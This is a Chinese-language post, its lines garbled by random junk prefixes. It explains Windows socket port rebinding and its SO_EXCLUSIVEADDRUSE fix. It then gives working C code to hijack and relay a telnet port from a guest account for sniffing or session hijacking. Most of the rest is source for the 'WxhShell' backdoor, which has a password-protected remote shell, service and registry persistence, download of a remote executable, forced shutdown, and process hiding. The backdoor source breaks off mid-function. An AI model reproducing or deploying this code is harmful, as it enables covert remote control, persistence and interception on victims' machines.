在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
v*%#Fp,g8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
03*` T CW k#Amt. saddr.sin_family = AF_INET;
.3Nd[+[ )rv5QH`i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7<[p1C*B @Md%gEh;& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
H{'<v|I :.['e` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^Yei9bXl "}UJ~ j). 这意味着什么?意味着可以进行如下的攻击:
#Ag-?k bkkhx,Oi[G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|w2H5f{fR gnmKh>0@6o 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
J=4R" _yo u-Pa:wm0- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
o.t$hv| O"4Q=~Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^yUel.N5" l%*KBME 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
PL/as3O^A .Gv9RKgd~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E"5
zT1d #q1Qa_LXc 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0es[!
X3#/|> #include
FL!W oTB #include
5T;M,w6DV #include
;cl\$TDL #include
Z~{0XG\Y DWORD WINAPI ClientThread(LPVOID lpParam);
2g1[E_? int main()
i"%X[(U7 {
|R:gu\gG WORD wVersionRequested;
R6~x! DWORD ret;
Pg"
uisT#> WSADATA wsaData;
9Vz1*4Ln BOOL val;
O(;K]8 SOCKADDR_IN saddr;
hK9Trr wau SOCKADDR_IN scaddr;
zCKZv|j6 int err;
{dJC3/Rf SOCKET s;
!b0'd'xe SOCKET sc;
7''l\3mIn int caddsize;
\o9-[V#Gm HANDLE mt;
";38vjIV DWORD tid;
1g6AzUXg wVersionRequested = MAKEWORD( 2, 2 );
9;s:Bo err = WSAStartup( wVersionRequested, &wsaData );
v5l)T}Nb if ( err != 0 ) {
^'i(@{{o\ printf("error!WSAStartup failed!\n");
`;b@a<Wl return -1;
{4Y@DQ- }
`O(ec saddr.sin_family = AF_INET;
Tx?,]c,(u X-9>;Mb~y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
N-|E^XIV Etty{r} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
sBY*9I saddr.sin_port = htons(23);
tWQ_.,ld if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;>_\oZGj_ {
5<bc>A- printf("error!socket failed!\n");
AEx
I! return -1;
S?n k9T+ }
%o9@[o
.] val = TRUE;
`E>HpRcxD //SO_REUSEADDR选项就是可以实现端口重绑定的
L<!}!v5ja if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:#58m0YLA: {
V{;! vt~ printf("error!setsockopt failed!\n");
Xu`c_ return -1;
Mit,X }
8*3o9$Pj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pDb5t> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'gk.J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
B
PTQm4TN W-q2|NK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G$pTTT6# {
$,q~ q^0 ret=GetLastError();
Htn=h~U`z printf("error!bind failed!\n");
,~8:^*0s return -1;
GqumH/; }
i`/_^Fndyu listen(s,2);
q\ FF)H while(1)
ES!$JWK| {
/PG+ s6 caddsize = sizeof(scaddr);
=3OK3| //接受连接请求
km2('t7? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;LE4U OK if(sc!=INVALID_SOCKET)
}r$&"wYM {
q65KxOf` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
aAZS^S4v if(mt==NULL)
r=P)iE: {
l
T~RH0L printf("Thread Creat Failed!\n");
r2}u\U4> break;
=; Gw=m( }
Gm;)Om_ }
Aifc0P-H CloseHandle(mt);
\Km!#: }
n/#zx:d? closesocket(s);
3ny>5A!;2 WSACleanup();
}S51yDV G_ return 0;
tFt56/4 }
zY~ DWORD WINAPI ClientThread(LPVOID lpParam)
5vs~8|aRo {
nf&PDv1 SOCKET ss = (SOCKET)lpParam;
;q]Jm SOCKET sc;
dfY(5Wc+f unsigned char buf[4096];
GL$!JKWp SOCKADDR_IN saddr;
c7Sa|9*dR long num;
b/'{6zn DWORD val;
3~Od2nk(x DWORD ret;
uc!j`G*] //如果是隐藏端口应用的话,可以在此处加一些判断
S9R(; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{Vw+~8 saddr.sin_family = AF_INET;
CsHHJgx saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
r_nB-\ saddr.sin_port = htons(23);
Qb<i,`SN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Qd;P?W6 {
&5puGnTZ printf("error!socket failed!\n");
[P.M>"c\ return -1;
G n"]<8yl~ }
LVKvPi val = 100;
4k/B=%l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r(;oDdVc {
Z-|.j^n ret = GetLastError();
|S.G#za return -1;
I^"ouM9}Q }
/aS= vjs if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/ivcqVu] {
_R&mN\ey5 ret = GetLastError();
`i5U&K. 7 return -1;
.GcIwP'aU- }
i
,Cvnp6Lv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
eKjmU | H {
.j?`U[V%a printf("error!socket connect failed!\n");
ws8@yr<R closesocket(sc);
abiZ"?( closesocket(ss);
j8n_:;i* return -1;
t80s(e }
_5TSI'@.4 while(1)
V/|).YG2 {
:T^!<W4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wK OljE6d //如果是嗅探内容的话,可以再此处进行内容分析和记录
_:@~bHd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
yUV0{A-q{0 num = recv(ss,buf,4096,0);
X[/>{rK if(num>0)
0VsQ$4'V^ send(sc,buf,num,0);
?>c*[>LpZ else if(num==0)
x`T break;
]<b$k num = recv(sc,buf,4096,0);
Uytq,3Gj6 if(num>0)
sd4eJ send(ss,buf,num,0);
X`#,*HkK else if(num==0)
oSVo~F break;
Gl8D
GELl; }
|dIP &9 closesocket(ss);
ql"&E{u? closesocket(sc);
gc(Gc vdB\ return 0 ;
AGaM
&x= }
BS3Aczwk 3m3ljy mGx!{v~i& ==========================================================
\7b-w81M- DUH\/<^g 下边附上一个代码,,WXhSHELL
ZK:dhwer W0e+yIaR ==========================================================
$VEG1]/svp _|<kKfd? #include "stdafx.h"
fP3e{dVf cs[_TJo #include <stdio.h>
EWOS6Yg7 #include <string.h>
p7 s#j #include <windows.h>
kc*zP= #include <winsock2.h>
)Z6bMAb0'N #include <winsvc.h>
+m?;,JGt #include <urlmon.h>
&\<!{Y<' t^_0w[ #pragma comment (lib, "Ws2_32.lib")
V{!fag #pragma comment (lib, "urlmon.lib")
#yNSQd Br/qOO:n$} #define MAX_USER 100 // 最大客户端连接数
6oTWW@ #define BUF_SOCK 200 // sock buffer
_N8Tu~lqV #define KEY_BUFF 255 // 输入 buffer
*R9s0;&: G!]%xFwYa #define REBOOT 0 // 重启
,RmXZnWY #define SHUTDOWN 1 // 关机
h>Z NPP8N Oi#4|*b{W #define DEF_PORT 5000 // 监听端口
'{]1!yMh E/bIq}R6 #define REG_LEN 16 // 注册表键长度
K:!){a[ #define SVC_LEN 80 // NT服务名长度
Xge]3Ub =BD} +(3 // 从dll定义API
%=p:\+`VI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s
P=$>@3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Y~I$goT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
GMk\
l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
k^<s|8Y TUE*mDRmP // wxhshell配置信息
}f
rij1/G struct WSCFG {
LV4\zd6 int ws_port; // 监听端口
/#mq*kNIM6 char ws_passstr[REG_LEN]; // 口令
.II*wKk int ws_autoins; // 安装标记, 1=yes 0=no
{
'A`ram char ws_regname[REG_LEN]; // 注册表键名
'iQ char ws_svcname[REG_LEN]; // 服务名
&d,chb( char ws_svcdisp[SVC_LEN]; // 服务显示名
~nit~; char ws_svcdesc[SVC_LEN]; // 服务描述信息
`As|MYv char ws_passmsg[SVC_LEN]; // 密码输入提示信息
D$X9xtT int ws_downexe; // 下载执行标记, 1=yes 0=no
:LE0_ . char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
un*Ptc2% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(pBPf jbQ N<`! };
XKp$v']u 0*e)_l! // default Wxhshell configuration
oJ\)-qSf struct WSCFG wscfg={DEF_PORT,
(CUrFZT$ "xuhuanlingzhe",
1Yr&E_5/ 1,
N5W;Zx] "Wxhshell",
b5!\"v4c "Wxhshell",
NO$n-<ag "WxhShell Service",
GCrIaZ "Wrsky Windows CmdShell Service",
2T3TD% "Please Input Your Password: ",
C%c}lv8;^ 1,
P:~Xaz\F "
http://www.wrsky.com/wxhshell.exe",
XOOWrK7O "Wxhshell.exe"
NxOiT#YH };
( I<]@7> f/1soGA // 消息定义模块
z-9@K<`H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*[
' n8Z char *msg_ws_prompt="\n\r? for help\n\r#>";
i4sd29v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
D8S?xK 7[ char *msg_ws_ext="\n\rExit.";
@.rVg XE=! char *msg_ws_end="\n\rQuit.";
^oZz,q
char *msg_ws_boot="\n\rReboot...";
}Iyr u3M][ char *msg_ws_poff="\n\rShutdown...";
j@w+>h char *msg_ws_down="\n\rSave to ";
3HtLD5%Q ?(C(9vO char *msg_ws_err="\n\rErr!";
U,G!u =+ char *msg_ws_ok="\n\rOK!";
uj8G6'm% 'A^ ;P]y char ExeFile[MAX_PATH];
tx$i( int nUser = 0;
O"'.n5>:` HANDLE handles[MAX_USER];
R,Gr{"H int OsIsNt;
"hE/f~\ C(w?`]Qs SERVICE_STATUS serviceStatus;
R,3E_me"} SERVICE_STATUS_HANDLE hServiceStatusHandle;
iCz0T, @M]uUL-ze // 函数声明
1/ZvcdYB int Install(void);
/KL;%:7 int Uninstall(void);
YwbRzY-#F int DownloadFile(char *sURL, SOCKET wsh);
d]3c44kkK{ int Boot(int flag);
Yg @&@S] void HideProc(void);
]1 V,_^D int GetOsVer(void);
">{Ruv}$ int Wxhshell(SOCKET wsl);
4jWzYuI&J void TalkWithClient(void *cs);
s=[Tm}[ int CmdShell(SOCKET sock);
uq/z.m int StartFromService(void);
~ RdD6V int StartWxhshell(LPSTR lpCmdLine);
'7'*+sgi$ Mx-? & VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,H_b@$]n8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
7m4gGkX#r 4yZ'+\ +I // 数据结构和表定义
s!lLdR[g SERVICE_TABLE_ENTRY DispatchTable[] =
%NyV2W=~X {
3CKd[=-Z {wscfg.ws_svcname, NTServiceMain},
@Feusprs {NULL, NULL}
I "8:IF };
b 8vyJb,K YsX&]4vzm // 自我安装
2yB@)?V/ int Install(void)
5hhiP2q {
/*V:Lh char svExeFile[MAX_PATH];
2s^9q9NS" HKEY key;
">8]Oi;g strcpy(svExeFile,ExeFile);
/J0YF
i8h(b2odQ // 如果是win9x系统,修改注册表设为自启动
b`W2^/D if(!OsIsNt) {
@&I7z, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0Q>yv;M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eT(/D/jan RegCloseKey(key);
r Jo8| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V`ODX>\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cWNZ +Q8Y RegCloseKey(key);
]JQ+*ZYUE return 0;
;)6LX- }
T(GEFntY }
%=ZN2)7{ }
b]-~{' + else {
F!>92H~3G gI~4A, // 如果是NT以上系统,安装为系统服务
)2nx5" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Moldv
x=M if (schSCManager!=0)
(f-Mm0%[ {
`:aml+ SC_HANDLE schService = CreateService
^R g=*L (
^|b ]E schSCManager,
ZqDanDM wscfg.ws_svcname,
>5O#_? wscfg.ws_svcdisp,
yLC5S3^1\" SERVICE_ALL_ACCESS,
\Zn%r&( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
a/4!zT SERVICE_AUTO_START,
uVSc1MS1 SERVICE_ERROR_NORMAL,
0h3-;% svExeFile,
~o<+tL NULL,
B}:/2?gQ NULL,
$!'S7;*uW NULL,
D2,2Yy5y NULL,
=\QKzQ'BC NULL
Q5ZZ4`K! );
I[x+7Y0k9 if (schService!=0)
F6L}n-p5 {
-T,/S^ CloseServiceHandle(schService);
Y%OJ3B(n| CloseServiceHandle(schSCManager);
(O[:-Aqm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`rwzCwA1 strcat(svExeFile,wscfg.ws_svcname);
N!W# N$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5xS
ze; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$i|c6& RegCloseKey(key);
X\=m return 0;
b`9J1p.; }
,k9@%{4 l }
EMTAl;P CloseServiceHandle(schSCManager);
MV(Sb:RZ }
fwN'5ep }
6Mh;ld@ F2N)|C< return 1;
sy\w ^] }
wU"0@^k]< |}FK;@'I 6 // 自我卸载
rnkq. int Uninstall(void)
lI)RaiMr= {
pv}k=wqJ1 HKEY key;
t+H=%{z \{GBaMwG~ if(!OsIsNt) {
vMlT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$-=QT X RegDeleteValue(key,wscfg.ws_regname);
f%g^6[ RegCloseKey(key);
I7S#vIMXR. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.5tE, (<? RegDeleteValue(key,wscfg.ws_regname);
Uo~-^w} RegCloseKey(key);
q
n6ws return 0;
L@&(> }
aFbIJm=! }
3IlflXb }
rw|;?a0 else {
=JR6-A1> 5PRS|R7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
NCXr$ES{ if (schSCManager!=0)
2w7PwNb*32 {
#^] v5s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4PcsU HR if (schService!=0)
H[x$65ND {
<mk'n6B if(DeleteService(schService)!=0) {
`\pv^#5HV9 CloseServiceHandle(schService);
9>OPaLn CloseServiceHandle(schSCManager);
<'N(`.&3C return 0;
4g%BCGsys }
kp$w)%2JW CloseServiceHandle(schService);
(v@)nv]U }
3=
q,k<=L CloseServiceHandle(schSCManager);
6^Q/D7U;s }
rgK:ujzW! }
`"-ln'nw K:cZq3F return 1;
^z^zsNx }
} 5nVZ; j-CSf(qIj // 从指定url下载文件
v0 3 int DownloadFile(char *sURL, SOCKET wsh)
^'Z?BK {
} vzNh_ HRESULT hr;
e Lj1 char seps[]= "/";
f~rq)2V: char *token;
W>HGB char *file;
2C&G'@> char myURL[MAX_PATH];
AWG;G+ char myFILE[MAX_PATH];
O'i!}$=g -,Oq=w*EV strcpy(myURL,sURL);
tx9;8K3 token=strtok(myURL,seps);
X9S`#N while(token!=NULL)
2d:5~fEJp {
cU[^[;4J< file=token;
j}.,|7X token=strtok(NULL,seps);
}}Kjb }
`p'(:W3a YTk"'q- GetCurrentDirectory(MAX_PATH,myFILE);
W[R^5{k` strcat(myFILE, "\\");
LT2UY* strcat(myFILE, file);
FD*)@4<o send(wsh,myFILE,strlen(myFILE),0);
K!cLEG!G send(wsh,"...",3,0);
K8?]&.! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
b<]Ae!I' if(hr==S_OK)
li +MnLt return 0;
-"9&YkN else
:MF F*1 return 1;
vTk\6o q 2x<A7l)6 }
937 z*mh #86=[*Dr // 系统电源模块
>Hd0l L int Boot(int flag)
>%?kp[ {
.:U`4->E HANDLE hToken;
s{:l yp TOKEN_PRIVILEGES tkp;
Z6S?xfhr'{ Mnx')([;W if(OsIsNt) {
S!r,p}; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
p3q
>a< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{pR4+g tkp.PrivilegeCount = 1;
~ 7^#. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
xaw)iC[gI{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|Vj@;+/j if(flag==REBOOT) {
EG&97lb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
D00v"yp%% return 0;
)b7 ;w#%q }
Jjr&+Q^3Tu else {
v*[oe if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-KA Y return 0;
"pa2,-& }
IBn+42V }
Hdxon@,+cd else {
|H%[tkW6c if(flag==REBOOT) {
-L6YLe%w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
N0POyd/rL return 0;
D_D76 }
!*1Kjg3 else {
^8q(_#w`K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
qPvWb1H: return 0;
2vLV1v$,q }
L8WYxJ
k }
S!@h\3d8{ g7-*WN<